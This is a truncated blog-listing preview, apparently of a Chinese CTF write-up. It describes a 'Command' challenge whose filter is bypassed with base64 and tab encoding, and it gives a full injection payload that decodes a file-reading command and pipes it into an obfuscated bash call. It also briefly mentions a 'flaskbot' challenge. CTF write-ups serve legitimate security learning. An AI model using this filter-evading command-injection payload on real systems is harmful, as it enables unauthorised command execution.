Command 签到题，过滤了如下： base64+%09绕一下过滤，因为匹配大小写，所以可能会出现这种情况： 稍微加点空格什么的修修改改就行了，payload： ?url=|echo%09"Y2FcdCAvZXRjLy5maW5kZmxhZy8q"|base64%09-d|ba\s\h flaskbot 通过各种让他报错拿到一份大概的源码： 可以看到这里用了render_templ...
Command 签到题，过滤了如下： base64+%09绕一下过滤，因为匹配大小写，所以可能会出现这种情况： ...
阅读全文>>
_ _ _ _ ___ ___
| | | | | | | | \/ |
| |_| | |__ | |__ | . . |
| _ | '_ \| '_ \| |\/| |
| | | | | | | | | | | | |
\_| |_/_| |_|_| |_\_| |_/